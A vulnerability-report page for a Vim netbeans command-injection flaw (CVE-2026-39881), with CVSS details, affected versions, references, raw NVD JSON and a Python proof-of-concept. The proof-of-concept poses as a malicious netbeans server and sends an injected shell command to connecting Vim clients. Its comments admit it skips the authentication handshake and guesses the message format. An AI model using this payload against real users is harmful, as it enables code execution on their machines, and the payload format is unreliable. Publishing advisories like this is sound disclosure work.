Security Vulnerability Report
中文
CVE-2026-39881 CVSS 5.0 MEDIUM

CVE-2026-39881

Published: 2026-04-08 21:17:00
Last Modified: 2026-04-22 16:50:17

Description

Vim is an open source, command line text editor. Prior to 9.2.0316, a command injection vulnerability in Vim's netbeans interface allows a malicious netbeans server to execute arbitrary Ex commands when Vim connects to it, via unsanitized strings in the defineAnnoType and specialKeys protocol messages. This vulnerability is fixed in 9.2.0316.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* - VULNERABLE
Vim < 9.2.0316

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-39881 # This script simulates a malicious Netbeans server. # It sends a crafted 'defineAnnoType' message containing an Ex command. import socket def exploit(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 12345)) server.listen(1) print("[*] Listening for Vim connection on port 12345...") conn, addr = server.accept() print(f"[*] Connection from {addr}") # Vulnerable payload: Injecting an Ex command (e.g., :!touch /tmp/pwned) # The vulnerability allows arbitrary Ex commands via unsanitized strings. # Protocol format usually involves specific commands. # Here we simulate sending the malicious string within the message. # Note: Actual Netbeans protocol requires specific authentication handshake first (AUTH password). # Assuming default or insecure configuration for demonstration. payload = "0:defineAnnoType=1 \"Name\" \"Tooltip\" \"Glyph\" ||:!id\n" conn.send(payload.encode('utf-8')) print("[*] Payload sent.") conn.close() if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39881", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.400", "lastModified": "2026-04-22T16:50:17.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to 9.2.0316, a command injection vulnerability in Vim's netbeans interface allows a malicious netbeans server to execute arbitrary Ex commands when Vim connects to it, via unsanitized strings in the defineAnnoType and specialKeys protocol messages. This vulnerability is fixed in 9.2.0316."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.0316", "matchCriteriaId": "A710E88E-39B9-4ACE-B88A-1B5E60BC2674"}]}]}], "references": [{"url": "https://github.com/vim/vim/commit/7ab76a86048ed492374ac6b19", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0316", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-mr87-rhgv-7pw6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}